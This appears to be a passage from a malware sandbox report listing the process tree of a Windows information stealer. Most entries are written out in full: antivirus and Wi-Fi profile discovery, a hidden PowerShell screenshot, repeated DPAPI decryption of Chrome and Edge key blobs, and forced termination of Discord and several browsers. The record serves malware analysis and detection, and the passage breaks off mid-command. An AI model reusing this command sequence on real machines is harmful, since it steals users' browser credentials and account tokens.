- - C:\Windows\System32\Wbem\WMIC.exe
    wmic path win32_videocontroller get caption /format:csv
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4728
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:csv
    3⤵
    PID:4028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic product get name /format:csv"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2180
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic product get name /format:csv
    3⤵
    PID:1496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  - Suspicious use of WriteProcessMemory
  PID:4636
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command " Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bmp = New-Object System.Drawing.Bitmap($screen.Width, $screen.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen(0, 0, 0, 0, $bmp.Size); $bmp.Save('C:\\Users\\Admin\\AppData\\Local\\Temp\\ss_1772512753741.png'); $g.Dispose(); $bmp.Dispose(); ""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -WindowStyle Hidden -Command " Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bmp = New-Object System.Drawing.Bitmap($screen.Width, $screen.Height); $g = [System.Drawing.Graphics]::FromImage($bmp); $g.CopyFromScreen(0, 0, 0, 0, $bmp.Size); $bmp.Save('C:\\Users\\Admin\\AppData\\Local\\Temp\\ss_1772512753741.png'); $g.Dispose(); $bmp.Dispose(); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,29,0,207,77,98,147,213,71,181,85,73,82,127,38,238,124,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,214,234,112,27,68,118,190,203,166,255,174,54,160,249,109,19,219,196,123,50,91,90,220,235,187,93,142,244,208,59,220,99,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,174,157,107,91,220,197,100,171,132,251,251,244,235,69,24,148,55,66,219,160,105,240,131,61,230,39,170,254,45,3,90,105,48,0,0,0,5,71,114,95,199,119,58,101,237,122,86,21,111,22,231,44,2,22,168,182,86,135,157,71,211,24,148,6,201,92,219,64,10,233,46,66,135,127,162,162,129,104,209,122,78,222,160,194,64,0,0,0,30,157,57,222,182,164,46,70,111,56,188,26,212,53,104,29,121,193,102,196,208,77,255,79,103,58,22,13,136,50,204,161,235,42,11,127,75,153,15,164,23,235,240,137,153,86,115,69,86,246,27,91,41,210,87,132,124,16,227,32,187,132,204,226), $null, 'CurrentUser')""
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:3236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,29,0,207,77,98,147,213,71,181,85,73,82,127,38,238,124,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,214,234,112,27,68,118,190,203,166,255,174,54,160,249,109,19,219,196,123,50,91,90,220,235,187,93,142,244,208,59,220,99,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,174,157,107,91,220,197,100,171,132,251,251,244,235,69,24,148,55,66,219,160,105,240,131,61,230,39,170,254,45,3,90,105,48,0,0,0,5,71,114,95,199,119,58,101,237,122,86,21,111,22,231,44,2,22,168,182,86,135,157,71,211,24,148,6,201,92,219,64,10,233,46,66,135,127,162,162,129,104,209,122,78,222,160,194,64,0,0,0,30,157,57,222,182,164,46,70,111,56,188,26,212,53,104,29,121,193,102,196,208,77,255,79,103,58,22,13,136,50,204,161,235,42,11,127,75,153,15,164,23,235,240,137,153,86,115,69,86,246,27,91,41,210,87,132,124,16,227,32,187,132,204,226), $null, 'CurrentUser')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,29,0,207,77,98,147,213,71,181,85,73,82,127,38,238,124,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,110,141,23,241,49,118,51,122,208,47,242,235,157,131,3,46,1,13,49,130,42,121,163,205,30,47,218,28,31,22,114,243,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,71,104,19,196,177,110,9,39,99,111,78,217,6,20,146,107,243,235,121,45,91,155,146,83,92,16,248,62,42,194,22,79,48,0,0,0,0,78,106,116,109,223,241,57,90,195,115,107,157,192,10,187,19,18,72,226,162,151,124,230,60,87,194,12,201,250,255,230,160,198,15,189,36,21,7,120,149,174,190,66,119,165,216,57,64,0,0,0,161,81,180,33,208,40,252,249,14,65,28,52,47,150,18,213,184,28,160,117,85,100,41,1,214,177,41,218,168,171,201,159,103,200,142,194,0,149,231,57,227,140,161,171,229,111,165,72,231,166,208,175,4,56,20,57,119,50,66,43,150,0,73,213), $null, 'CurrentUser')""
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:4624
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,29,0,207,77,98,147,213,71,181,85,73,82,127,38,238,124,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,110,141,23,241,49,118,51,122,208,47,242,235,157,131,3,46,1,13,49,130,42,121,163,205,30,47,218,28,31,22,114,243,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,71,104,19,196,177,110,9,39,99,111,78,217,6,20,146,107,243,235,121,45,91,155,146,83,92,16,248,62,42,194,22,79,48,0,0,0,0,78,106,116,109,223,241,57,90,195,115,107,157,192,10,187,19,18,72,226,162,151,124,230,60,87,194,12,201,250,255,230,160,198,15,189,36,21,7,120,149,174,190,66,119,165,216,57,64,0,0,0,161,81,180,33,208,40,252,249,14,65,28,52,47,150,18,213,184,28,160,117,85,100,41,1,214,177,41,218,168,171,201,159,103,200,142,194,0,149,231,57,227,140,161,171,229,111,165,72,231,166,208,175,4,56,20,57,119,50,66,43,150,0,73,213), $null, 'CurrentUser')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1256
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discord.exe /T"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM discord.exe /T
    3⤵
    - Kills process with taskkill
    PID:1688
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discordcanary.exe /T"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:228
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM discordcanary.exe /T
    3⤵
    - Kills process with taskkill
    PID:5108
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discordptb.exe /T"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:404
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM discordptb.exe /T
    3⤵
    - Kills process with taskkill
    PID:1600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM discorddevelopment.exe /T"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4328
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM discorddevelopment.exe /T
    3⤵
    - Kills process with taskkill
    PID:3804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe /T"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1436
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM chrome.exe /T
    3⤵
    - Kills process with taskkill
    PID:904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5052
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    PID:4004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe /T"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4588
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM brave.exe /T
    3⤵
    - Kills process with taskkill
    PID:4424
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe /T"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vivaldi.exe /T
    3⤵
    - Kills process with taskkill
    PID:960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM browser.exe /T"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM browser.exe /T
    3⤵
    - Kills process with taskkill
    PID:4796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe /T"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1212
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM opera.exe /T
    3⤵
    - Kills process with taskkill
    PID:2136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,29,0,207,77,98,147,213,71,181,85,73,82,127,38,238,124,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,214,234,112,27,68,118,190,203,166,255,174,54,160,249,109,19,219,196,123,50,91,90,220,235,187,93,142,244,208,59,220,99,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,174,157,107,91,220,197,100,171,132,251,251,244,235,69,24,148,55,66,219,160,105,240,131,61,230,39,170,254,45,3,90,105,48,0,0,0,5,71,114,95,199,119,58,101,237,122,86,21,111,22,231,44,2,22,168,182,86,135,157,71,211,24,148,6,201,92,219,64,10,233,46,66,135,127,162,162,129,104,209,122,78,222,160,194,64,0,0,0,30,157,57,222,182,164,46,70,111,56,188,26,212,53,104,29,121,193,102,196,208,77,255,79,103,58,22,13,136,50,204,161,235,42,11,127,75,153,15,164,23,235,240,137,153,86,115,69,86,246,27,91,41,210,87,132,124,16,227,32,187,132,204,226), $null, 'CurrentUser')""
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:3972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,29,0,207,77,98,147,213,71,181,85,73,82,127,38,238,124,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,214,234,112,27,68,118,190,203,166,255,174,54,160,249,109,19,219,196,123,50,91,90,220,235,187,93,142,244,208,59,220,99,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,174,157,107,91,220,197,100,171,132,251,251,244,235,69,24,148,55,66,219,160,105,240,131,61,230,39,170,254,45,3,90,105,48,0,0,0,5,71,114,95,199,119,58,101,237,122,86,21,111,22,231,44,2,22,168,182,86,135,157,71,211,24,148,6,201,92,219,64,10,233,46,66,135,127,162,162,129,104,209,122,78,222,160,194,64,0,0,0,30,157,57,222,182,164,46,70,111,56,188,26,212,53,104,29,121,193,102,196,208,77,255,79,103,58,22,13,136,50,204,161,235,42,11,127,75,153,15,164,23,235,240,137,153,86,115,69,86,246,27,91,41,210,87,132,124,16,227,32,187,132,204,226), $null, 'CurrentUser')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4768
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,29,0,207,77,98,147,213,71,181,85,73,82,127,38,238,124,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,110,141,23,241,49,118,51,122,208,47,242,235,157,131,3,46,1,13,49,130,42,121,163,205,30,47,218,28,31,22,114,243,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,71,104,19,196,177,110,9,39,99,111,78,217,6,20,146,107,243,235,121,45,91,155,146,83,92,16,248,62,42,194,22,79,48,0,0,0,0,78,106,116,109,223,241,57,90,195,115,107,157,192,10,187,19,18,72,226,162,151,124,230,60,87,194,12,201,250,255,230,160,198,15,189,36,21,7,120,149,174,190,66,119,165,216,57,64,0,0,0,161,81,180,33,208,40,252,249,14,65,28,52,47,150,18,213,184,28,160,117,85,100,41,1,214,177,41,218,168,171,201,159,103,200,142,194,0,149,231,57,227,140,161,171,229,111,165,72,231,166,208,175,4,56,20,57,119,50,66,43,150,0,73,213), $null, 'CurrentUser')""
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:1396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,29,0,207,77,98,147,213,71,181,85,73,82,127,38,238,124,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,110,141,23,241,49,118,51,122,208,47,242,235,157,131,3,46,1,13,49,130,42,121,163,205,30,47,218,28,31,22,114,243,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,71,104,19,196,177,110,9,39,99,111,78,217,6,20,146,107,243,235,121,45,91,155,146,83,92,16,248,62,42,194,22,79,48,0,0,0,0,78,106,116,109,223,241,57,90,195,115,107,157,192,10,187,19,18,72,226,162,151,124,230,60,87,194,12,201,250,255,230,160,198,15,189,36,21,7,120,149,174,190,66,119,165,216,57,64,0,0,0,161,81,180,33,208,40,252,249,14,65,28,52,47,150,18,213,184,28,160,117,85,100,41,1,214,177,41,218,168,171,201,159,103,200,142,194,0,149,231,57,227,140,161,171,229,111,165,72,231,166,208,175,4,56,20,57,119,50,66,43,150,0,73,213), $null, 'CurrentUser')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,29,0,207,77,98,147,213,71,181,85,73,82,127,38,238,124,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,214,234,112,27,68,118,190,203,166,255,174,54,160,249,109,19,219,196,123,50,91,90,220,235,187,93,142,244,208,59,220,99,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,174,157,107,91,220,197,100,171,132,251,251,244,235,69,24,148,55,66,219,160,105,240,131,61,230,39,170,254,45,3,90,105,48,0,0,0,5,71,114,95,199,119,58,101,237,122,86,21,111,22,231,44,2,22,168,182,86,135,157,71,211,24,148,6,201,92,219,64,10,233,46,66,135,127,162,162,129,104,209,122,78,222,160,194,64,0,0,0,30,157,57,222,182,164,46,70,111,56,188,26,212,53,104,29,121,193,102,196,208,77,255,79,103,58,22,13,136,50,204,161,235,42,11,127,75,153,15,164,23,235,240,137,153,86,115,69,86,246,27,91,41,210,87,132,124,16,227,32,187,132,204,226), $null, 'CurrentUser')""
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  PID:1688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,29,0,207,77,98,147,213,71,181,85,73,82,127,38,238,124,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,214,234,112,27,68,118,190,203,166,255,174,54,160,249,109,19,219,196,123,50,91,90,220,235,187,93,142,244,208,59,220,99,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,174,157,107,91,220,197,100,171,132,251,251,244,235,69,24,148,55,66,219,160,105,240,131,61,230,39,170,254,45,3,90,105,48,0,0,0,5,71,114,95,199,119,58,101,237,122,86,21,111,22,231,44,2,22,168,182,86,135,157,71,211,24,148,6,201,92,219,64,10,233,46,66,135,127,162,162,129,104,209,122,78,222,160,194,64,0,0,0,30,157,57,222,182,164,46,70,111,56,188,26,212,53,104,29,121,193,102,196,208,77,255,79,103,58,22,13,136,50,204,161,235,42,11,127,75,153,15,164,23,235,240,137,153,86,115,69,86,246,27,91,41,210,87,132,124,16,227,32,187,132,204,226), $null, 'CurrentUser')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,29,0,207,77,98,147,213,71,181,85,73,82,127,38,238,124,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,110,141,23,241,49,118,51,122,208,47,242,235,157,131,3,46,1,13,49,130,42,121,163,205,30,47,218,28,31,22,114,243,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,71,104,19,196,177,110,9,39,99,111,78,217,6,20,146,107,243,235,121,45,91,155,146,83,92,16,248,62,42,194,22,79,48,0,0,0,0,78,106,116,109,223,241,57,90,195,115,107,157,192,10,187,19,18,72,226,162,151,124,230,60,87,194,12,201,250,255,230,160,198,15,189,36,21,7,120,149,174,190,66,119,165,216,57,64,0,0,0,161,81,180,33,208,40,252,249,14,65,28,52,47,150,18,213,184,28,160,117,85,100,41,1,214,177,41,218,168,171,201,159,103,200,142,194,0,149,231,57,227,140,161,171,229,111,165,72,231,166,208,175,4,56,20,57,119,50,66,43,150,0,73,213), $null, 'CurrentUser')""
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  PID:868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,29,0,207,77,98,147,213,71,181,85,73,82,127,38,238,124,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,110,141,23,241,49,118,51,122,208,47,242,235,157,131,3,46,1,13,49,130,42,121,163,205,30,47,218,28,31,22,114,243,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,71,104,19,196,177,110,9,39,99,111,78,217,6,20,146,107,243,235,121,45,91,155,146,83,92,16,248,62,42,194,22,79,48,0,0,0,0,78,106,116,109,223,241,57,90,195,115,107,157,192,10,187,19,18,72,226,162,151,124,230,60,87,194,12,201,250,255,230,160,198,15,189,36,21,7,120,149,174,190,66,119,165,216,57,64,0,0,0,161,81,180,33,208,40,252,249,14,65,28,52,47,150,18,213,184,28,160,117,85,100,41,1,214,177,41,218,168,171,201,159,103,200,142,194,0,149,231,57,227,140,161,171,229,111,165,72,231,166,208,175,4,56,20,57,119,50,66,43,150,0,73,213), $null, 'CurrentUser')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,29,0,207,77,98,147,213,71,181,85,73,82,127,38,238,124,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,214,234,112,27,68,118,190,203,166,255,174,54,160,249,109,19,219,196,123,50,91,90,220,235,187,93,142,244,208,59,220,99,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,174,157,107,91,220,197,100,171,132,251,251,244,235,69,24,148,55,66,219,160,105,240,131,61,230,39,170,254,45,3,90,105,48,0,0,0,5,71,114,95,199,119,58,101,237,122,86,21,111,22,231,44,2,22,168,182,86,135,157,71,211,24,148,6,201,92,219,64,10,233,46,66,135,127,162,162,129,104,209,122,78,222,160,194,64,0,0,0,30,157,57,222,182,164,46,70,111,56,188,26,212,53,104,29,121,193,102,196,208,77,255,79,103,58,22,13,136,50,204,161,235,42,11,127,75,153,15,164,23,235,240,137,153,86,115,69,86,246,27,91,41,210,87,132,124,16,227,32,187,132,204,226), $null, 'CurrentUser')""
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  PID:2448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,29,0,207,77,98,147,213,71,181,85,73,82,127,38,238,124,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,214,234,112,27,68,118,190,203,166,255,174,54,160,249,109,19,219,196,123,50,91,90,220,235,187,93,142,244,208,59,220,99,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,174,157,107,91,220,197,100,171,132,251,251,244,235,69,24,148,55,66,219,160,105,240,131,61,230,39,170,254,45,3,90,105,48,0,0,0,5,71,114,95,199,119,58,101,237,122,86,21,111,22,231,44,2,22,168,182,86,135,157,71,211,24,148,6,201,92,219,64,10,233,46,66,135,127,162,162,129,104,209,122,78,222,160,194,64,0,0,0,30,157,57,222,182,164,46,70,111,56,188,26,212,53,104,29,121,193,102,196,208,77,255,79,103,58,22,13,136,50,204,161,235,42,11,127,75,153,15,164,23,235,240,137,153,86,115,69,86,246,27,91,41,210,87,132,124,16,227,32,187,132,204,226), $null, 'CurrentUser')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,29,0,207,77,98,147,213,71,181,85,73,82,127,38,238,124,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,110,141,23,241,49,118,51,122,208,47,242,235,157,131,3,46,1,13,49,130,42,121,163,205,30,47,218,28,31,22,114,243,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,71,104,19,196,177,110,9,39,99,111,78,217,6,20,146,107,243,235,121,45,91,155,146,83,92,16,248,62,42,194,22,79,48,0,0,0,0,78,106,116,109,223,241,57,90,195,115,107,157,192,10,187,19,18,72,226,162,151,124,230,60,87,194,12,201,250,255,230,160,198,15,189,36,21,7,120,149,174,190,66,119,165,216,57,64,0,0,0,161,81,180,33,208,40,252,249,14,65,28,52,47,150,18,213,184,28,160,117,85,100,41,1,214,177,41,218,168,171,201,159,103,200,142,194,0,149,231,57,227,140,161,171,229,111,165,72,231,166,208,175,4,56,20,57,119,50,66,43,150,0,73,213), $null, 'CurrentUser')""
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  PID:4700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,29,0,207,77,98,147,213,71,181,85,73,82,127,38,238,124,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,110,141,23,241,49,118,51,122,208,47,242,235,157,131,3,46,1,13,49,130,42,121,163,205,30,47,218,28,31,22,114,243,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,71,104,19,196,177,110,9,39,99,111,78,217,6,20,146,107,243,235,121,45,91,155,146,83,92,16,248,62,42,194,22,79,48,0,0,0,0,78,106,116,109,223,241,57,90,195,115,107,157,192,10,187,19,18,72,226,162,151,124,230,60,87,194,12,201,250,255,230,160,198,15,189,36,21,7,120,149,174,190,66,119,165,216,57,64,0,0,0,161,81,180,33,208,40,252,249,14,65,28,52,47,150,18,213,184,28,160,117,85,100,41,1,214,177,41,218,168,171,201,159,103,200,142,194,0,149,231,57,227,140,161,171,229,111,165,72,231,166,208,175,4